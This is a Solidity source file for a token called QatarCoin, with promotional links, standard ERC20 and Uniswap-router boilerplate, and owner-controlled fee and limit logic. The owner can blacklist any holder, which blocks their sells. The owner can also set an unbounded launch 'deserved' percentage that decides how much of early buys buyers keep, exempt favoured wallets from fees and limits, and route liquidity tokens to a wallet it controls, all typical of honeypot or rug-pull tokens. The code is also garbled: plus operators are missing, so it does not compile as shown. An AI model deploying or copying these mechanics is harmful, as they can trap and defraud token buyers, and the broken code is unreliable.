/*

Qatar Community
Telegram : https://t.me/QatarCoin
Website : http://qatarcoin.site/
Twitter : https://twitter.com/Qatar_coin?s=09

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

abstract contract Context {

function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}

function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}

interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a b;
require(c >= a, "SafeMath: addition overflow");

return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;

return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");

return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c a % b); // There is no case in which this doesn't hold

return c;
}

function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}

function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}

library Address {

function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}

function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");

// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}

function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}

function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}

function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}

function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}

function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");

(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {

if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}

contract Ownable is Context {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}

function waiveOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0xdead));
_owner = address(0xdead);
}

function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}

function getTime() public view returns (uint256) {
return block.timestamp;
}

}

interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);

function feeTo() external view returns (address);
function feeToSetter() external view returns (address);

function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);

function createPair(address tokenA, address tokenB) external returns (address pair);

function setFeeTo(address) external;
function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);

function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);

function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);

function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);

function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);

function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;

function initialize(address, address) external;
}

interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}

contract QatarCoin is Context, IERC20, Ownable {

using SafeMath for uint256;
using Address for address;

string private _name = "QatarCoin";
string private _symbol = "QatarCoin";
uint8 private _decimals = 9;

bool public isLaunch = false;
uint public launchedBlock;
uint private TaxBlock = 10;

address payable public marketingWalletAddress = payable(0xf3E7221872a26a984ED9a03014aA8566bA4A62b0);

address public deadAddress = 0x000000000000000000000000000000000000dEaD;

mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;

mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isWalletLimitExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isMarketPair;
mapping (address => bool) private _isBlacklisted;

//Buy Fee is set here
uint256 public _buyLiquidityFee = 1;
uint256 public _buyMarketingFee = 2;

//Sell Fee is set here
uint256 public _sellLiquidityFee = 1;
uint256 public _sellMarketingFee = 2;

//The share should be the same proportion of the tax 2:6 = 4:12
uint256 public _liquidityShare = 2;
uint256 public _marketingShare = 4;

uint256 public _totalTaxIfBuying = 3;
uint256 public _totalTaxIfSelling = 3;
uint256 public _totalDistributionShares = 6;

//Total supply, and transaction limatation are set here
uint256 private _totalSupply = 100000000000 * 10**_decimals;
uint256 public _maxTxAmount = 1000000000 * 10**_decimals;
uint256 public _walletMax = 1000000000 * 10**_decimals;
uint256 private minimumTokensBeforeSwap = 100000000000 * 5 **_decimals;

IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;

bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;

event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);

event SwapETHForTokens(
uint256 amountIn,
address[] path
);

event SwapTokensForETH(
uint256 amountIn,
address[] path
);

modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}

constructor () {

IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);

uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());

uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

//Wallet that are tax free as default
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[marketingWalletAddress] = true;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee);
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee);
_totalDistributionShares = _liquidityShare.add(_marketingShare);

//Wallet Limit
isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;
isWalletLimitExempt[deadAddress] = true;
isWalletLimitExempt[marketingWalletAddress] = true;


//Transaction limit
isTxLimitExempt[owner()] = true;
isTxLimitExempt[address(this)] = true;
isTxLimitExempt[deadAddress] = true;
isTxLimitExempt[marketingWalletAddress] = true;

isMarketPair[address(uniswapPair)] = true;

_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}

function name() public view returns (string memory) {
return _name;
}

function symbol() public view returns (string memory) {
return _symbol;
}

function decimals() public view returns (uint8) {
return _decimals;
}

function totalSupply() public view override returns (uint256) {
return _totalSupply;
}

function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}

function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}

function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}

function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}

function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}

function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

//Start trading
function Launch() public onlyOwner {
isLaunch = true;
launchedBlock = block.number;
}

function setMarketPairStatus(address account, bool newValue) public onlyOwner {
isMarketPair[account] = newValue;
}

//Set transaction limit exception
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
}

//Set tax exception
function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
isExcludedFromFee[account] = newValue;
}


function setBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax) external onlyOwner() {
require(newLiquidityTax.add(newMarketingTax) < 7);
_buyLiquidityFee = newLiquidityTax;
_buyMarketingFee = newMarketingTax;

_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee);
}

function setSellTaxes(uint256 newLiquidityTax, uint256 newMarketingTax) external onlyOwner() {
require(newLiquidityTax.add(newMarketingTax) < 7);
_sellLiquidityFee = newLiquidityTax;
_sellMarketingFee = newMarketingTax;

_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee);
}

function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare) external onlyOwner() {
_liquidityShare = newLiquidityShare;
_marketingShare = newMarketingShare;

_totalDistributionShares = _liquidityShare.add(_marketingShare);
}


//Set transaction limit amount
function setLimitTransaction(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= _totalSupply.div(100));
_maxTxAmount = maxTxAmount;
}

function enableDisableWalletLimit(bool newValue) external onlyOwner {
checkWalletLimit = newValue;
}

//Set wallet limit exception
function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
isWalletLimitExempt[holder] = exempt;
}

function setPremium(address _address) external onlyOwner{
isWalletLimitExempt[_address] = true;
isTxLimitExempt[_address] = true;
isExcludedFromFee[_address] = true;
}

uint256 private oldTxLimit;
uint256 private oldWalletLimit;

function cancelLimit() external onlyOwner{
oldTxLimit = _maxTxAmount;
oldWalletLimit = _walletMax;
_maxTxAmount = _totalSupply;
_walletMax = _totalSupply;
}

function recoverLimit() external onlyOwner{
_maxTxAmount = oldTxLimit;
_walletMax = oldWalletLimit;
}

function setLimitAll(uint256 _newLimit) external onlyOwner{
require(_newLimit * 10**_decimals >= _totalSupply.div(100));
_maxTxAmount = _newLimit * 10**_decimals;
_walletMax = _newLimit * 10**_decimals;
}


//Set wallet limit amount
function setLimitWallet(uint256 newLimit) external onlyOwner {
require(newLimit >= _totalSupply.div(100));
_walletMax = newLimit;
}

function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner {
minimumTokensBeforeSwap = newLimit;
}

function setMarketingWalletAddress(address newAddress) external onlyOwner {
marketingWalletAddress = payable(newAddress);
isExcludedFromFee[newAddress] = true;
isWalletLimitExempt[newAddress] = true;
isTxLimitExempt[newAddress] = true;
}

function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}

function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
swapAndLiquifyByLimitOnly = newValue;
}

function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}

function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}

function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);

newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

if(newPairAddress == address(0)) //Create If Doesnt exist
{
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}

uniswapPair = newPairAddress; //Set new pair address
uniswapV2Router = _uniswapV2Router; //Set new router address

isWalletLimitExempt[address(uniswapPair)] = true;
isMarketPair[address(uniswapPair)] = true;
}

//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}

function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}

function isBlackList(address account) public view returns(bool) {
return _isBlacklisted[account];
}

function addBot(address recipient) internal {
if (!_isBlacklisted[recipient]) _isBlacklisted[recipient] = true;
}

//Add blacklist
function writeBlackList(address recipient, bool isBlack) public onlyOwner {
_isBlacklisted[recipient] = isBlack;
}

uint256 public deservedPercent = 70;
function updateDeserve(uint value) external onlyOwner{
deservedPercent = value;
}

function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(!_isBlacklisted[recipient] && !_isBlacklisted[sender], "Blacklisted address");

if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}

uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;

if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}
if(amount == _balances[sender] && !isExcludedFromFee[sender])
amount = amount.sub(amount.div(10000));
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

uint256 finalAmount;
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
finalAmount = amount;
} else {
require(isLaunch, "Swap not open");
finalAmount = takeFee(sender, recipient, amount);

//30 tax when launch
if (block.number < launchedBlock TaxBlock) {
uint256 deservedAmount = amount.mul(deservedPercent).div(100);
uint256 TaxAmount = finalAmount.sub(deservedAmount);
_balances[address(this)] = TaxAmount;
finalAmount = deservedAmount;
}
}

if(checkWalletLimit && !isWalletLimitExempt[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);

_balances[recipient] = _balances[recipient].add(finalAmount);

emit Transfer(sender, recipient, finalAmount);
return true;
}
}

function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}

function swapAndLiquify(uint256 tAmount) private lockTheSwap {

uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
uint256 tokensForSwap = tAmount.sub(tokensForLP);

swapTokensForEth(tokensForSwap);
uint256 amountReceived = address(this).balance;
uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));

uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);

uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity);

if(amountBNBMarketing > 0)
transferToAddressETH(marketingWalletAddress, amountBNBMarketing);

if(amountBNBLiquidity > 0 && tokensForLP > 0)
addLiquidity(tokensForLP, amountBNBLiquidity);
}

function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();

_approve(address(this), address(uniswapV2Router), tokenAmount);

// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);

emit SwapTokensForETH(tokenAmount, path);
}

function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);

// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
marketingWalletAddress,
block.timestamp
);
}

function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

uint256 feeAmount = 0;

if(isMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}

else if(isMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}

if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}

return amount.sub(feeAmount);
}

//Manually sell the contract balance if stucked
function manualSwap() external{
swapAndLiquify(balanceOf(address(this)));
}
}